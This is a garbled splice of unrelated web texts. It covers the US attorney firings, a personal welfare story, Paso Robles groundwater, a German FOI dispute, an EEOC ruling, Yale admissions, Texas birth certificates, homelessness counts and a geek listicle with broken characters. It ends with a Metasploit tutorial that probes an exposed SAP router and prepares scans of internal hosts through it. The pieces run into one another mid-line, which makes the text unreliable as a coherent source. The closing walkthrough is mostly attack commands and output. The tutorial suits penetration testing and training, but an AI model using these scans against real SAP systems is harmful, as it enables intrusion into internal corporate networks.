required (a task that would appear to fall to Miers herself, in her position as White House counsel) he never heard back from Miers.
Then on December 4, Kelley emailed Sampson, copying Miers, with the approval DOJ had been waiting for — and an acknowledgment that the move would likely ruffle feathers. “We’re a go for the US Atty plan. WH leg, political, and communications have signed off and acknowledged that we have to be committed to following through once the pressure comes,” Kelley wrote.
Three days later, seven U.S. attorneys received phone calls from DOJ asking them to resign.
By and large, the report suggests that Sampson compiled his various lists through a combination of his own vague knowledge of the attorneys’ records, and conversations with other DOJ staff. But in the cases of at least two names that wound up on the final list, the White House appears to have been intimately involved in ensuring that they were included.
Making Room For a Friend
The dismissal in which the White House played the greatest role was that of Bud Cummins, US Attorney for the Eastern District of Arkansas. Cummins, the report makes clear, was removed not because of shortcomings in his own record, either political or performance-based, but because the White House wanted to move a GOP political operative, Timothy Griffin, in to the job.
As early as February 2004, Sampson told OIG, Griffin, who at the time worked for the Republican National Committee as an opposition researcher and would later serve under Rove in the White House political office, had been approved by a panel of DOJ and White House officials for Arkansas’s other U.S. attorney position, that of the Western District. But Griffin told OIG he withdrew from consideration because “he knew that Karl Rove and other Republican Party officials wanted him to continue to work on the 2004 presidential campaign.”
After the campaign was over, the White House seems to have kept Griffin’s service in mind. In March 2005, Griffin told OIG, Miers asked him what he wanted to do with his career, and mentioned that the USA job for eastern Arkansas might become open. (Cummins’ name had appeared on Sampson’s first list, sent to Miers that month.) A few weeks later, according to the limited amount of email traffic given by the White House to OIG, Miers wrote to Rove discussing various employment ideas for Griffin. Rove responded: “What about him for the US Attorney for the Eastern District of Arkansas.” Miers wrote back that this was “definitely a possibility” since there might soon be an opening there.
The White House clearly liked this idea. Sampson said during congressional testimony on the firings that, that spring, Miers asked him about the possibility of Griffin getting the job. And Griffin, who was in Iraq for much of 2005 as a member of the Army Reserve, told OIG that Rove told him, during the summer of that year, that Rove and Miers had discussed the possibility, and that “it may work out.”
Even Gonzales, who seems to have taken a notably hands-off approach to the plan, was aware of the White House’s wishes. “The White House was interested in seeing if we could find a way to get Griffin in,” he told OIG.
In December, the report concludes, Cummins was removed to make room for Griffin, who was quickly appointed on an interim basis.
An email sent a few days later, from Sampson to another Miers deputy, Chris Oprison offers further evidence that Rove and Miers were always the prime movers behind the switch. Wrote Sampson: “Getting [Griffin] appointed was important to Harriet, Karl, etc.”
In February 2007, though, Griffin was forced to withdraw from consideration for a permanent appointment, as the scandal was unfolding. Around that time, Deputy Attorney General Paul McNulty testified before Congress about the reasons for the firings. His testimony prompted Sara Taylor, the White House political director to whom Griffin had served as deputy, to fire off an email to Sampson expressing anger at how DOJ had “forced” Griffin to withdraw. In other words, DOJ had angered the White House by failing to push hard enough for Griffin.
Rove on Iglesias: “He’s Gone.”
The White House’s role in the firing of David Iglesias as U.S. attorney for the District of New Mexico appears to have been less direct than that of Cummins – but the report makes clear that it was involved nonetheless.
It shows that during 2005 and 2006, White House officials received complaints about Iglesias from New Mexico Republicans, primarily Sen. Pete Domenici, Rep. Heather Wilson, and state party chair Allen Weh. Many of the complaints centered around Iglesias’ apparent decision not to bring an indictment against a Democratic state official in a public corruption case before the midterms — a subject of particular interest to Domenici — as well as Iglesias’ perceived unwillingness to aggressively prosecute voter fraud cases against organizers allied with Democrats.
Those concerns appear to have dovetailed with Karl Rove’s. Gonzales testified to Congress that, twice in the fall of 2006, Rove had told him he was concerned about voter fraud in three cities, one of which was Albuquerque, New Mexico.
And around October of that year (OIG was unable to pin down the exact time), Miers called McNulty, the Deputy AG, and passed on complaints she had received from Wilson about Iglesias. (Wilson denied to OIG that she spoke to Miers). The report notes that this was before Iglesias’ name had appeared on any of Sampson’s lists.
Then on the day of the midterms, Domenici’s chief of staff emailed Rove to complain about Iglesias. Rove’s response: “I’d have the Senator call the Attorney General about this.”
At a November 15 White House meeting, Wilson put in another complaint to Rove about Iglesias. This time, he told her: “That decision has already been made. He’s gone.” But as the report notes, the first list from Sampson to include Iglesias’ name would not be sent to Miers until a few hours later. In other words, Rove’s knowledge that Iglesias was to be fired suggests this wasn’t a decision made solely by DOJ.
On Monday, Attorney General Michael Mukasey, acting on a recommendation from the report, appointed a U.S. prosecutor, Nora Dannehy, to determine whether a crime was committed in connection with the firings. But it remains unclear whether that investigation will be given the power to gain access to any of the information denied to OIG, and the mandate to look into the role of the White House. If it isn’t, judging from the evidence in the report, a major part of the story of the firings will remain shrouded in secrecy.This is an incredibly personal story, but thanks to recent articles on TANF and what happens to people on welfare in Mississippi, I feel the need to share it finally. I live in Colorado, which has tended to be fairly progressive, even though we are a swing state. My daughter was only 15 months old when this happened and she is now 15 years old.
When I was 18, I met an older guy, well much older. He was incredibly charming but I wasn't dumb. I knew better. I thought I was in love, but I was also pragmatic enough to know that men his age love having pretty, young girls on their arm. So I did the only thing I thought would save me if he didn't feel the same: I moved across the state from him. However, within 9 months, he had moved to be with me. So I gave him a shot. He made decent money and took care of me. We partied. A lot. At 20, I had our daughter, but I thought it was fine. He seemed overjoyed at being a dad for the first time. I, in turn, decided that for our daughter to have the best life, I needed to stop all my drinking and other nonsense. So by the time I knew I was pregnant, I had settled down quite a bit. I played the housewife role, even though we weren't married. I stayed home with my daughter to nurse her and teach her.
However, he must've felt betrayed in some way by my sudden change of lifestyle. No longer did I want to go out and party. I wanted to be with our daughter and make a family life. So he started having people over, but that doesn't work well when you have a baby that needs attention. So he started going to parties without me. One day, he left for work in the morning, and he never came home. He had the bank accounts, our only car, everything of monetary value. I couldn't even pay for groceries, let alone all our bills. I was starving. I was desperate and alone.
So after a good, long 'poor me' cry, I got angry. I decided I would never allow my child to be put in the state I found myself. I applied to a local community college. I got financial aid and I even got a job working in the IT department of the school. I found help for childcare. I applied for everything I could think of to make things turn out differently. Welfare was one of those things.
Now I had heard all the stories about welfare we hear on the news and online. People are given handouts so vast they can get video games, eat lobster, buy new cars, and even fancy houses. Well was I in for a shock. It took 3 long, desperate, scary days to get approved. And let me tell you, when you have literally nothing, 3 days can seem like months. I didn't eat for the 4 days previous to my application. By the time it got approved, it had been more than a full week. I was nursing still, but luckily she was 15 months old so I wasn't her only source of nourishment. I was packing my things up to move from the place I could no longer pay for (and lucky for me the landlord's wife took pity on me for my predicament and let me out of our lease with only the security deposit taken), when the call came that I was approved for TANF. "Congratulations!" I heard the voice declare. "You've been approved for the max weekly benefits." I thought it was my saving grace. I swore that if god exists, this was his doing.
I was in for a rude awakening. When I went that same afternoon to pickup my benefits card, my case worker met with me to sign the agreement. It was like signing your life away. They gave a massive list of rules I had to follow while on it. They said I couldn't get help for more than 6 months. I was allowed to leave the program voluntarily at any point I wished. If I was found to be lying about anything, I could be jailed or even be denied any state or federal assistance for life. Then came the real shock. She handed me my benefits card and said I'd get a weekly deposit starting that same day as long as I was on the program. She also mentioned that the absentee parent must pay back all funds within 6 months, but that I shouldn't worry about that. Then she told me my benefits amount: $49. All that paperwork and proof of your life and money and everything, for $49 a week! I wasn't even sure that would feed and put diapers on my kid for that amount. But I was starved. So I took it greedily. I only had a month before my job started, school started, and my grants would come through. I thought one month won't hurt me and I should be able to pay it back without too many issues.
So I went about getting whatever few necessities I could for the week and hoped it would last. I also had WICK and though I never needed the formula, I would get it and sometimes use it instead of milk in cereal or other cooking. I figured those two programs together would help ensure I'd make it until school started. My dad helped me get a cheap car. Things were starting to look up.
Then my second week on the program, I got a call from my case worker. She told me that she had found out my daughter's father was hiding out from both of the court cases (I was required to get a child support and custody hearing before I could even apply for TANF). But she said that it shouldn't be an issue still. I was worried though. Because I had just gotten my financial aid receipts and because I hadn't been in school before, I couldn't qualify for work-study grants until after my first semester. So I asked my case worker, will I have to pay this back? She said no.
A month of scrimping and starving went by. School finally started. I got my check from my leftover financial aid. I cancelled my TANF benefits the day I got my check. I did well in school. Life went on. In the spring, I finally got my work-study grant and could take that job I'd been waiting on. It was hard to work outside the college, what with the weird class schedules and a baby to take care of. So that eased my load a ton. Now I simply dropped my kid off in the morning, went to class, then worked, then picked her up again, ate dinner together, then dropped her off at a second daycare around 6pm, and went to night classes. It was a struggle. Even with perfect A's in every class, finding scholarships was stupidly hard. Federal Aid was the only thing that saved me.
Then around the fall of my second year, I get this nasty looking envelope from social services. It said that repayments had not been made in a timely manner. All attempts at correspondence had been ignored (even though this was the first time I had gotten a letter). It said that more than I owed more than $450 to them for TANF payments. That the extra were court fees that were incurred. It also gave vague threats of loss of financial aid and other benefits if it wasn't repaid within 30 days. I immediately called my old case worker. She explained that since my daughter's father was not found and they weren't even sure he was still in the country, that it fell on me now to repay the costs of them trying to get him to repay my TANF benefits. That the court costs were not all listed there. I actually owed them now more than $2500. She affirmed I could lose all aid for childcare and schooling if I refused to pay it. I was heartbroken. A month of starvation and determination and yes, just about $200 of taxpayer money, and now I owed more than 10 times that back. If I knew then what I know now, right?
So with my parents meager help, what was left of my work-study check, and a bit of savings, I got that $2500 paid within the 30 day limit. It was again a struggle. I couldn't pay my bills for the next 3 months. I only had enough for gas, food, and school supplies. I did laundry only once a month and wore clothes that were disgusting. I paid electricity ($35) one month, then the next, it might be the gas bill. It took me more than 2 years from the time I got off of TANF to finally be free of the burden it left me with. I graduated school with honors and as an officer in Phi Beta Kappa. I went to a full state university after that. But it took years off my credit ratings (thanks to not being able to meet my bill payments), my savings, and time spent with my child. All of those things can never be fixed fully. And yet, somehow, welfare recipients are still hated on by conservatives, the media, and many of the public. What a laugh. If you'd ask me now if I'd still take that tiny benefit, my immediate response is no... but there is that small voice. That quiet, honest, and painfully sorrowful voice in my heart that says "if you have no choice, than how can you say no?"Going dry in a sea of wine
A shrinking water table pits residents against grape growers
For The Record Los Angeles Times Thursday, September 05, 2013 Home Edition Main News Part A Page 4 News Desk 1 inches; 56 words Type of Material: Correction Paso Robles drought: In the Sept. 2 Section A, an article about a dispute between homeowners and wine growers over diminishing groundwater supplies identified Cabernet Sauvignon grapes as the dominant varietal on the warmer west side of Paso Robles. It is the east side that is warmer and where Cabernet Sauvignon grapes are the dominant varietal.
No longer a regional secret, the Paso Robles appellation is the fancy of wine lovers near and far. Verdant vineyards now dominate the golden pastoral landscape, many with tasting rooms that contribute to a $1.2-billion local tourism industry.
Where did the water go? Smith and other residents say it's flowing freely into the area's signature industry -- wine.
Unable to afford a deeper well at a cost of $30,000, she trucks in water every few weeks. Meals are eaten on paper plates. Showers last 45 seconds. Toilets are seldom flushed.
The retired teacher is one of dozens of homeowners in parched northern San Luis Obispo County whose wells have run dry.
While the world clamors for more Paso Robles wine, rural residents like Denise Smith yearn for something far more precious: local water.
This surge in popularity has caused wine grape acreage in the county to more than triple in 15 years to 36,550 acres -- and there are estimates of up to 8,000 acres more being prepared. With little to no rain on much of that land, drip irrigation is widespread.
That's strained the area's primary source of water, an ancient aquifer that covers 790 square miles and is large enough to safely support annual demand of 97,700 acre-feet of water -- the equivalent of 50,000 Olympic-sized swimming pools.
But demand for basin water has exceeded that safe yield. The water level has sunk 70 feet or more since 1997 in some parts -- the product of persistent drought and largely unchecked agricultural and urban growth. California and Texas are the only two states that allow landowners unlimited access to groundwater.
More than two-thirds of basin water usage is for farming, the overwhelming majority of which is vineyards, according to the latest study.
The dispute over the basin is now roiling this idyllic country community, where living among the vineyards has long been central to its allure.
Activist residents have mobilized, calling for water conservation and equitable use of the basin. Many scoff at new arrivals and their penchant for planting grapes.
"There's too many doctors and lawyers moving in here and putting in their Chateau Cashflow," said Zan Overturf, owner of a Paso Robles plant nursery who has seen local business dry up because of the water shortage.
Battle lines have been drawn.
On one side are wine producers, who feel besieged and undeserving of all the blame. On the other are rural residents, who worry over their housing values and ask how soon before their faucets cough dust?
In normally placid Paso Robles, some residents are privately boycotting the offending wineries. One homeowner was shocked to find his "Save Our Wells!" bumper sticker torn off his car.
"We used to think we were so lucky to live here," said Jan Seals, 60, a Bay Area tech-industry transplant whose well water dropped 70 feet in the decade she and her husband have lived outside Paso Robles. "Now we've got two choices: drill another well or put our house on the market. But I wouldn't buy our house given the situation with the basin."The German Federal Ministry of the Interior has sent a cease and desist order to the Freedom of Information (FOI) portal FragDenStaat.de for publishing a document received under the German federal FOI law. The document – a five page study written by government staff – analyses a ruling by the German constitutional court in November 2011 which declared the 5% party quota for the European Parliament elections as unconstitutional. The study concludes that setting any such quota would be unconstitutional according to the ruling. Despite this a recent change in election law set the party quota to 3%.
When the study in question was received from the Ministry of the Interior through an FOI request on FragDenStaat.de, the ministry prohibited publication of the document by claiming copyright. FragDenStaat.de has decided to publish the document anyway to take a stand against this blatant misuse of copyright. The government sent a cease and desist letter shortly after. The Open Knowledge Foundation Germany as the legal entity behind FragDenStaat.de is refusing to comply with the cease and desist order, and is looking forward to a court decision that will strengthen freedom of speech, freedom of the press and freedom of information rights in Germany.
This is the German campaign site with all documents and press release
We want to fight this case in court and need financial support. The organisation behind FragDenStaat.de is the Open Knowledge Foundation Germany, a German non-profit charitable organisation. Please donate via BetterPlace.org or with the following details:
Recipient: Open Knowledge Foundation Deutschland e.V
IBAN: DE89830944950003009670
BIC: GENO DE F1 ETK"In its unprecedented decision, the EEOC concluded that 'intentional discrimination against a transgender individual because that person is transgender is, by definition, discrimination ‘based on … sex’ and such discrimination … violates Title VII.
The ruling came as a result of a discrimination complaint filed by Transgender Law Center on behalf of Mia Macy, a transgender woman who was denied a job as a ballistics technician at the Walnut Creek, California laboratory of the federal Bureau of Alcohol, Tobacco, Firearms, and Explosives (ATF). Ms. Macy, a veteran and former police detective, initially applied for the position as male and was told that she virtually was guaranteed the job.
Ms. Macy was exceptionally qualified for the position, having a military and law enforcement background and being one of the few people in the country who had already been trained on ATF’s ballistics computer system. After disclosing her gender transition mid-way through the hiring process, Ms. Macy was told that funding for that position had been suddenly cut. She later learned that someone else had been hired for the job."Students commonly want to know what part of the college application “carries the most weight.” The truth is, there are many parts to your application, and together they help us discover and appreciate your particular mix of qualities. Academic criteria are important to Yale’s selective admissions process, but we look at far more than test scores and grades.
Every applicant brings something unique to the admissions committee table. Perhaps one application stands out because of sparkling recommendations, while another presents outstanding extracurricular talent; maybe your personality shines through a powerful written voice, or maybe your keen mathematical mind packs more punch. Our goal is to assemble a diverse, well-rounded student body, and that means admitting exceptional individuals of all types. You may find this answer unsatisfying, but we assure you that it is true: the part of the application that carries the most weight is different from applicant to applicant.
This section of our website aims to help you submit the very best application possible. We asked admissions officers to weigh in with their own thoughts on each topic and we have compiled their responses below. We know that the application process can be confusing, daunting, even overwhelming, and we hope this page proves helpful as you compile your applications, not only to Yale but to every school on your list.Though children born in the U.S. are entitled by law to U.S. citizenship regardless of the immigration status of their parents, Texas authorities have begun placing barriers to undocumented immigrants seeking to obtain birth certificates for U.S.-born children.
McALLEN, Texas — Hiram Ramirez didn’t expect problems when she went to get a birth certificate for her newborn daughter, Dulce.
Ramirez, 28, a native of neighboring Reynosa, Mexico, crossed the border illegally and has lived in the Rio Grande Valley for years. Her two older daughters, 3 and 14, were U.S.-born, and she easily obtained birth certificates for them using her Mexican voter registration and consular identification card. She relied on the birth certificates to register her girls for school, Medicaid and other government services.
But when the stay-at-home mother arrived at the downtown vital-statistics office Thursday, she discovered the rules had changed. Without a U.S. driver’s license, visa or Mexican electoral card, she could not obtain a birth certificate for her child. The voter-registration card expired before her youngest was born. Her husband has a consular identification card.
Though children born in the United States are entitled by law to U.S. citizenship regardless of the immigration status of their parents, Texas authorities have begun placing significant barriers to undocumented immigrants seeking to obtain birth certificates for their U.S.-born children.
Hundreds of immigrant parents along the southern Texas border have been denied birth certificates for U.S.-born children since 2013, immigrant advocates say, as state authorities have made it more difficult to use alternative identification documents from parents who have no access to U.S.-issued papers.
The denials stepped up significantly after the Obama administration in 2012 expanded its efforts to protect millions of immigrants from deportation, according to lawyers who have filed a lawsuit arguing that the Texas policy is unconstitutional. A second program, proposed by the administration in 2014, would extend deportation protection in some cases to parents of children born in the U.S.
“As a result of this situation, hundreds, and possibly thousands, of parents from Mexico and Central America have recently been denied birth certificates for their Texas-born children,” said the suit, filed in U.S. District Court in Austin.
State officials say they have always been reluctant to use identity documents that are not backed up with reliable forms of identification.
“We monitor local registrars for compliance. If we encounter a local registrar that is accepting identification that doesn’t qualify, we’ll let them know,” said Chris Van Deusen, spokesman for the Department of State Health Services, which supervises the roughly 400 local registrars statewide that issue birth certificates.
At issue is a state policy, which immigrant advocates say has been enforced with greater vigor since 2013, declaring that state registrars cannot accept the identification cards, popularly known as matriculas, issued to foreign nationals by their local consulates.
This was a crucial decision because many immigrants in the country illegally — many of whom did not bring official identification cards issued in their home countries or had them stolen along the way — do not have the level of identification that is now required in Texas.
“It says we need a U.S. license we don’t have; a (Mexican) passport we have, but with a visa we don’t have; voter-ID card I have, but it expired,” Ramirez said as she cradled her youngest child, dressed in a pink onesie, on her lap. “It’s not fair. She has a right to her birth certificate. What are we supposed to do?”
The 14th Amendment guarantees the right to citizenship for children born on U.S. soil, part of the fabric of a nation of immigrants. The lawsuit filed in May names 19 parents of 23 children who were denied birth certificates in the Rio Grande Valley, alleging the refusals are an unconstitutional, discriminatory political tactic and demanding that a judge force the state to comply with federal law.
Attorneys representing the parents — immigrants from Guatemala, Honduras and Mexico — said the state has used identification requirements as a means of combating the Obama administration’s more liberal immigration policy at a time the state is facing a major influx of new immigrants.
Three-fourths of the more than 55,000 families that arrived in the U.S. from Central America last year crossed into the Rio Grande Valley.
“As immigration became more controversial, they just started clamping down,” said lead attorney Jennifer Harbury of Texas RioGrande Legal Aid.
In California, immigrant parents routinely use the matricula card to obtain birth certificates, said Jorge-Mario Cabrera, a spokesman for the Coalition for Humane Immigrant Rights of Los Angeles.
If state officials stopped accepting it, he said: “It would be disastrous. The banks, organizations, even the (Department of Motor Vehicles) use those matriculas now. It’s become an integral part of doing business with immigrants, both documented and undocumented.”
In Arizona, lawmakers have failed in recent years to pass several proposals that would have denied or restricted birth certificates to children born to immigrants who entered the country illegally.
Texas officials admit they have refused some of the immigrant parents’ documents, but contend that they followed state law.
Van Deusen, the health-services department spokesman, said that officials provide birth certificates “without regard to the requestor’s immigration status,” but that they don’t accept consular identification cards because underlying documents “are not verified by the issuing party.”
In McAllen, City Secretary Annette Villarreal said she was simply enforcing a state directive. “Until a few years ago we would accept the matricula consular, but the state came down on us,” Villarreal said, and “re-emphasized that we should not use the matriculas” because “they’re not verifiable.”
Villarreal, who has served as city secretary for 11 years, said some families have alternatives. For example, there may be a relative with proper documentation who can apply. “They can always call their hometown to send them valid forms of identification,” she said.Cities and counties are reporting a sharp increase in homeless families as the economic crisis leads to job loss and makes housing unaffordable. In Seattle, 40% more people are living on suburban streets. In Miami, calls from people with eviction notices have quadrupled. "The demand from families with children has increased dramatically," says Robert Hess of New York City's Department of Homeless Services. Each month since September, shelter requests have been at least 20% higher than they were a year ago. The Department of Housing and Urban Development requires a one-day count in January of people living on the street, in shelters or in transitional housing. National figures have not been compiled. Of 56 places where figures were available, 35 reported an increase in homelessness; 12 had a drop. "People who were on the edge can't hold on anymore," says Cathy ten Broeke homelessness project coordinator in Minneapolis and Hennepin County. She says 1,251 families sought emergency shelter last year, up from 1,032 in 2007. • In Chicago, calls to a homelessness prevention hotline were 59% higher in February than a year earlier, says Nancy Radner, head of the Chicago Alliance to End Homelessness. "We're getting requests from people earning more than $30,000 a year, even $65,000. That's unprecedented." • In Los Angeles, 620 families used the winter shelter program this winter, compared with 330 families a year earlier, manager David Martel says. • In the Phoenix area, 230 people in families were living on the street in January; there were 49 a year ago. There were 139 children younger than 18 living on the street on their own, according to the Maricopa Association of Governments. • In Miami-Dade County, the number of people calling for help after getting an eviction notice jumped from 1,000 in 2007 to 4,000 last year, David Raymond of the county's Homeless Trust says. "We've beefed up our prevention efforts," he says, so fewer people become homeless. • In the Seattle area, street homelessness increased 2% overall but 40% in the suburbs, where the number living in cars rose from 229 last year to 339, homelessness project director Bill Block says. Several of the largest cities, including New York and Miami, say their increased efforts to find apartments or shelter beds have meant fewer people living on the street or in their cars. Hess expects more people to need help this year and looks forward to a sharp increase in federal funding: $1.5 billion this summer is intended to help struggling people pay their rent, utilities or security deposits so they don't end up homeless. Homeless population in major cities The Department of Housing and Urban Development required every city and county to do a one-day count in January of people living on the street, in shelters or in transitional housing. Not all jurisdictions have reported results yet. A sampling of the findings: Boston The homeless count rose 11% from 2007 to 7,681 in 2008, including a jump in the number of people living on the street from 184 to 219. "What we've seen is a significant increase in family homelessness for the fourth consecutive year, says Jim Greene, director of Boston's Emergency Shelter Commission, citing a 23% increase in the number of families in shelters and transitional housing. Chicago The city has not released its count. The homelessness prevention hotline received 59% more calls last month than in February 2008, says Nancy Radner, head of the Chicago Alliance to End Homelessness. Cincinnati The count was largely unchanged: 1,128 compared with 1,133 a year earlier. "We had really bad weather this year," so a cold-weather shelter was open the night of the count, says Kevin Finn, executive director of the Cincinnati-Hamilton County Continuum of Care for the Homeless. As a result, he says, the street count fell from 55 to 35, but the emergency shelter number rose from 649 to 686. The number of people in temporary apartments declined slightly, he says, because "we don't have enough transitional housing. Des Moines The count was 1,129, down slightly from 1,138 a year before. The street count fell from 135 to 58, but the sheltered count rose from 1,003 to 1,071. The number of sheltered families changed little because "there are not a lot of family beds, says David Eberbach, associate director of the Iowa Institute for Community Alliance, a non-profit organization that tracks homelessness. The city has one shelter that will take entire families and one that will take women with children. Los Angeles The city has not released its tally, but "there are definitely more families seeking help, says Rebecca Isaacs, executive director of the Los Angeles Homeless Services Authority. This winter, 620 families used its winter shelter program, up from 330 families the previous year. Miami-Dade County The homelessness count fell from 4,574 a year ago to 4,333 this year because fewer people are living on the street. "Our shelter population is growing, says David Raymond, executive director of the Miami-Dade County Homeless Trust. He says the city is spending more money not only to house the homeless but also to help people stay in their homes. The number of people calling for help after getting an eviction notice jumped from 1,000 in 2007 to 4,000 last year, he says. Minneapolis-Hennepin County The county has released only its street count, reporting that it fell from 300 last year to 235 this year. That included 34 unaccompanied youth. The drop was due to greater efforts to shelter the homeless, says Cathy ten Broeke of the Office to End Homelessness in Minneapolis and Hennepin County. "We're seeing more families in our shelters, she says — 1,032 families in 2007 and 1,251 last year. New Orleans The city has not finished tabulating, but the number may not mean much, says Martha Kegel, executive director of UNITY of Greater New Orleans, a non-profit group. She says an estimated 5,000 people are living in abandoned buildings, and it's impossible to count them in a 24-hour period. Not all the emergency shelter beds available before Hurricane Katrina in 2005 have been restored. New York City The count was largely unchanged: 37,448 this year compared with 37,415 in 2008. The number living on the street fell sharply from 3,306 last year to 2,328 because of increased efforts to provide shelter beds and apartments, says Robert Hess, commissioner of the city's Department of Homeless Services. Philadelphia The overall count rose 1% to 6,915, but the street count fell 10% to 457. The city offered overnight cafes, drug treatment beds and other resources, says Roberta Cancellier, deputy director of the Office of Supportive Housing. Those efforts "mitigated what would have been a greater increase, she says. The city saw a 5% increase to 3,561 in the number of people in families with children who were in shelters or transitional housing. Phoenix-Maricopa County The county has released only its street count, which shows a 20% increase from a year earlier to 2,918 people. "The biggest change we've seen is with families, says Brande Mead of the Maricopa Association of Governments. The number of people in families on the street rose from 49 to 230 and the number of youth on their own jumped from 40 to 139. Portland, Oregon The city has not released its count but expects a slight increase from two years ago despite increased housing efforts, says Sally Erickson, Portland's homeless program manager. She says the recession's effect started showing up a year ago. Reno area Its street count fell from 98 in 2007 to 55 in 2009, but the number in shelters or transitional housing jumped from 621 to 859, according to Kelly Marschall, head of Social Entrepreneurs Inc., which coordinates care for the homeless. She says two-thirds list unemployment or job loss as the main reason for their homelessness. San Antonio The count fell substantially from 4,063 last year to 3,303 this year, but the difference may be due largely to fewer shelters reporting and a change in methodology, says Mario Resendiz of the Department of Community Initiatives. Seattle-King County The county has not released its total. This year's number of street dwellers rose 2% overall but 40% in the suburbs, says Bill Block, project director of the Committee to End Homelessness In King County. Washington, D.C. The total homeless count rose 3% from 2008 to 6,228. The number of adults on the street fell 15% to 321, but the number of families in emergency and transitional housing rose 20% to 703. Guidelines: You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. Read moreTrick the very basic rules of the universe by having a good friend in a cat that looks like it contains a whole universe, by changing gravity and experience a |
naming it Skynet, OCP or Nexus-6
Al Gore invented the Internet specifically for geeks to name things. To not take advantage of this can amount to sacrilege.
1) Having a girlfriend
We all know that?geeks? are technically?cool? now?the media?s been pushing the story for a decade at least. But the fact of the matter is if you have the social skills to acquire and keep a girlfriend for more than a week, you?re hardly a geek. True geeks have to lust after the 2-D and 3-D girls from their comics, games, and cartoons (although special exceptions have been made for all sexy Trek and Battlestar Galactica actresses).Saprouter is basically a reverse proxy for SAP systems, typically sitting between the Internet and internal SAP systems. Its main purpose is to allow controlled access from hosts on the Internet to the internal SAP systems, since it allows for a finer grained control of SAP protocols than a typical firewall.
This means that saprouter usualy ends up being exposed to the Internet, by allowing the inbound TCP port 3299 to the saprouter host on the organization's firewalls. And from the saprouter, at least it should be possible to reach an internal SAP server. This makes it a very interesting target, since it can provide a way into the “high value” network.
The following figure shows a basic network setup, which we will use for the examples:
First we'll start by performing a SAP service scan of the exposed IP address, using the sap_service_discovery module, in this case, 1.2.3.101.
msf> use auxiliary/scanner/sap/sap_service_discovery msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101 RHOSTS => 1.2.3.101 msf auxiliary(sap_service_discovery) > run [*] [SAP] Beginning service Discovery '1.2.3.101' [+] 1.2.3.101:3299 - SAP Router OPEN [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
The scan shows us that the host is running a SAP router on the expected port TCP 3299. We can now dig deeper, and attempt to obtain some information from the saprouter. If it has been misconfigured, and often they are, it may be possible to obtain internal information, such as connections established through the saprouter to internal hosts. For this purpose we use the sap_router_info_request module:
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101 RHOSTS => 1.2.3.101 msf auxiliary(sap_router_info_request) > run [+] 1.2.3.101:3299 - Connected to saprouter [+] 1.2.3.101:3299 - Sending ROUTER_ADM packet info request [+] 1.2.3.101:3299 - Got INFO response [+] Working directory : /opt/sap [+] Routtab :./saprouttab [SAP] SAProuter Connection Table for 1.2.3.101 =================================================== Source Destination Service ------ ----------- ------- 1.2.3.12 192.168.1.18 3200 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
So, from the output we see that someone on the Internet (1.2.3.12) is connected to an internal host (192.168.1.18) on port 3200. Port 3200 is a common SAP port for the DIAG protocol (that's where the SAP GUI application connects to SAP servers). We also obtain information about the internal IP addressing scheme, they're quite surely using at least the 192.168.1.0/24 network, or some subnet in that network.
Enumerating internal hosts and services
With this information, we are now able to start scanning the internal network. Since saprouter works like a proxy, we will attempt to connect to it and request connections to internal hosts and ports, and see the replies from saprouter. This may gives more insight into the internal hosts, services and ACLs, depending on the configuration of the saprouter. We'll be using the sap_router_portscanner module for this purpose.
The module connects to the saprouter and requests connections to other hosts (defined in the TARGETS option) in specific TCP ports. It then analyses the replies, and understands whether the requested connection is possible or not. This module provides a few options that can used:
Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- CONCURRENCY 10 yes The number of concurrent ports to check per host INSTANCES 00-99 no SAP instance numbers to scan (NN in PORTS definition) MODE SAP_PROTO yes Connection Mode: SAP_PROTO or TCP (accepted: SAP_PROTO, TCP) PORTS 32NN yes Ports to scan (e.g. 3200-3299,5NN13) RESOLVE local yes Where to resolve TARGETS (accepted: remote, local) RHOST yes SAPRouter address RPORT 3299 yes SAPRouter TCP port TARGETS yes Comma delimited targets. When resolution is local address ranges or CIDR identifiers allowed.
At the very least you'll have to set the saprouter's IP address, in the example case, 1.2.3.101. Then, set TARGETS to the internal network addresses you'd like to scan, and finally set PORTS with the TCP ports to scan.
The module provides also an INSTANCES option that allows simplifying the definition of the PORTS option. SAP installations support multiple instances, providing similar services, so each instance has assigned TCP ports. For example, SAP instance 00 will have the SAP dispatcher service (where SAP GUI connects to) on port 3200 and instance 01 on port 3201. The PORTS option supports a “wildcard” which is “NN” that will be replaced with the instance number, hence scanning ports for all the defined instances. So, if we want to scan instances from 00 to 50, we can define the INSTANCES and PORTS variables this way:
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50 INSTANCES => 00-01 msf auxiliary(sap_router_portscanner) > set PORTS 32NN PORTS => 32NN
With this setting the module will scan ports in range 3200 to 3250.
In the source of the module you have information regarding the common default ports on SAP systems, which we will now be using for scanning:
